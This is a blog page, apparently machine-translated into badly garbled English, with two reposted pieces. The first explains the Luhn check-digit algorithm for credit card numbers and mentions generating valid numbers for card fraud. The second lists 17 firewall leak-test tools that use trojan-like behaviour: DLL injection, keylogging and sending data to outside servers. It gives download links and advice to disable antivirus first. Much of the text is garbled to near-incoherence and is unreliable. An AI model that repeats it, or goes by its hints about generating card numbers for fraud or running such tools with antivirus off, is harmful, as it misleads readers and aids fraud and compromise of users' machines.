To check digit Luhn algorithm, I actually understand the history of less check digits with this algorithm, but the algorithm is used by all the big banks issued credit card (Visa, MasterCard, Amex, Novus, and may still many others). Check digit algorithm is also used in ATM cards,  at least I have noticed an ATM card and BNI bank likely BII bank others also use this method. When introducing the Telkom TeCC (Telkom Calling Card), these algorithms are also used. 

Method check digit is actually simple, need only three steps to to prove whether a card check digit meet the Luhn algorithm, for cards even with the number of digits (eg Visa [16 digits], MasterCard [16 digits], and Novus [16 digit]) do the following: 

1. for each digit in the odd position (I count the digits from the start left with the most digits to the left-1), multiply the value by two, if the results more than 9, subtract the result by 9. Total number of all that it has obtained. 

2. digits for each position on the whole, and the total value of all add the results with the results of the first steps.

3. if the results on the second step is divided out of 10, means the card number legitimate. Not easy, for cards with the odd number of digits (for example, Visa [13 digits], Amex [15 digits]) how to do the same, only the first step is multiplied digits even in the position, and the steps that are both is the digits in the odd position. 

Example: 
If I have a card with the numbers: 
7889-8594-5435-5413 

and I want to know whether this really a valid credit card number or I can not perform the following steps (note the number of digits are 16): 

1) multiplying all the numbers on the two-digit odd and reduce 9 with the result if more than 9, and are This is the digit-digits in the odd position 
D01 = 7 
D03 = 8 
D05 = 8 
D07 = 9 
D09 = 5 
D11 = 3 
D13 = 5 
D15 = 1 
If the operation is done two times and reduce 9 (if more than 9) obtained 
D01 '= 7 x 2 = 14, because it is less the result of the 9 D02' = 14 - 9 = 5 
D03 '= 8 x 2 = 16, because it is less the result of the 9 D02' = 16 - 9 = 7 
D05 '= 8 x 2 = 16, because it is less the result of the 9 D02' = 16 - 9 = 7 
D07 '= 9 x 2 = 18, because it is less the result of the 9 D02' = 18 - 9 = 9 
D09 '= 5 x 2 = 10, because it is less the result of the 9 D02' = 10 - 9 = 1 
D11 '= 3 x 2 = 6, less so from 9 remain 6 
D13 '= 5 x 2 = 10, because it is less the result of the 9 D02' = 10 - 9 = 1 
D15 '= 1 x 2 = 2, less so from 9 fixed 2 

The number of D01, D03 + '+ D05, D07 +' + D09, D11 + '+ D13, D15 +' = 5 + 7 + 7 + 9 + 1 + 6 + 1 + 2 = 38 

2) adding all the digits in the position even 
D02 = 8 
D04 = 9 
D06 = 5 
D08 = 4 
D10 = 4 
D12 = 5 
D14 = 4 
D16 = 3 
Amount = 8 + 9 + 5 + 4 + 4 + 5 + 4 + 3 = 42 
When the results of step 1 and step 2 are obtained 38 + 42 = 80, because 80 out of 10 then divided the number of valid credit card number. It is clear now, check out algorithms digits on a credit card is very easy You can also do produce numbers as a valid card number credit using the program, and he said it could be used for to make credit card fraud is still my own little way with because according to my current inspection is far more strict and almost someone might not pass with only Seeing the number of valid only without expiration date and name of the owner.

source : fineprint.com

Read more...

Tips and Tricks to get a good firewall program

This is the program for a number Firewall Test. There are 17 engineering program, and I must pass, it all Pass. Means that the firewall program that built " good "! I just step 1 can detect a firewall, the firewall is used to replace or reset the config before the next test to continues. So should you run sequentially under this program. Because some of the programs under the program using Trojan why. I perforated, I think the responsibility lhooo. The Iraqi-me remove it except the windows or install Reimport I find rather hard. So should follow the rules : 

Conditions before the start: 
- Make sure the pitch Antivirus installed 
- Firewall or anti-Trojan programs installed 
- Make sure the switch on Windows Firewall in the Control Panel 

Start: 
1. Leak Test 
Download the program here 
Run the program and click the button TEST FOR LEAKS, tough results. I Connect program is succesfull, it means your firewall is bad. Dispose of it, because I have known allow the program to access the Internet But the firewall you reject this program, then continue with number 2 below 

2. TooLeaky 
Download the program here 
This program will be running Internet Explorer and go back to the server GRC send your personal data. I pass, and the open Internet, that means your firewall SUCKS! Change we're .. I pass a firewall and block out the message GRC is Down, you can proceed to number 3 

3. Firehole 
Download the program here 
This is the Trojan's why, but the lightweight class. Let's safe, tut. Then, after running the program click on START. The program will send a message to the server Trojan. Kaloo you post the latest Windows Update and via the Windows update, then the error will appear guise of a warning from Windows. I do not, you depend on the same firewall and your antivirus software 

4. Yalta 
Download here
Extract the folder in the first cleanup. Then run Yalta. Press key CLASSICAL LEAK TEST or advance. I firewall detects your internet access this program, can proceed to the next 

5. Outbond 
Download here  
Run, I terlewati Internet access, firewall means you leak. 

6. PCAudit 
Download here  
Caution, this is my Trojan Generator why. I detected Antivirus / AntSpyware. Let's, for test purposes. Enjoy safe. I trouble you for downloading the program, turn off the antivirus software first. Later when running this program, can be activated again for the test firewall and AV 

7. Atelier 
This is the Firewall Tester's komperehensif, first install the program and will be acquired 6 leakage testing techniques your firewall. You must pass all. I pitch it your Windows security update it. The program will be denied inii run 

8. Thermite 
Download program here 
This program uses DLL injection techniques. I firewall or antivirus software you cry means you safe. 

9. CopyCat 
Download here
Process Injection via cmd. 

10. MBTest 
Download here  
Do not forget to extract the files in the system32 directory (packet.dll) and system32/driver/npf.sys 
http://www.filelodge.com/files/room2.../10-mbtest.zip 
This program will check and send all the packets of data to the Internet.

11. Wallbreaker 
Download the program here  
There are 4 test I have to skip you. Utilizing the Internet Explorer for implementing the Connection. So I multistage process may be difficult for firewalls to detect. For the Explorer and Internet Explorer are usually allowed for access. I Inet open, meaning you do not have firewalls support multiple process Process Threat to-4 unique, so the program will be launched via the schedule. And will be run when you dally in the schedule page 

12. PCAudit2 
Download and install the program here  
Run, the program will run the process Explorer. Then do DLL injection. Very rarely firewall to detect this. The program will continue to try internet connection. Then the program will apply, such as keylogger. 

13. Ghost 
Download program here 
This program requires the data.lalu interaction data to send my andaketik (keylogger) secretly background. Hopefully you can detect the firewall's this. 

14. DNS Tester 
Can be downloaded here  
The program will conduct DNS cache flush, and then send some of my DNS requests left by the firewall. I run this program successfully, that means your firewall to detect the late DNS Request, or it failed. Enable-a Windows DNS Client Service when the program galgal execution. 

15. Surfer 
Download the program here  
The program will control the Internet through the DDE Interface explorer. Your firewall should reject this connection. 

16. BreakoutWP 
Download the program here  
This program sends the url to Explore the Internet via the Windows API SendMessage. I Inet you open, meaning that the Windows Firewall or your Vulnerable against this Trojan 

17. Jumpers 
Download here
Tester's Explorer will kill you and make injection DLL files, and then connect via Internet Explorer. So it should not surprise you to disappear tiba2 Explorer, but will appear again thin. This will show whether your firewall to quickly detect changes, etc., or registry.

source : forum.amikom.ac.id by Dony Ariyus

Read more...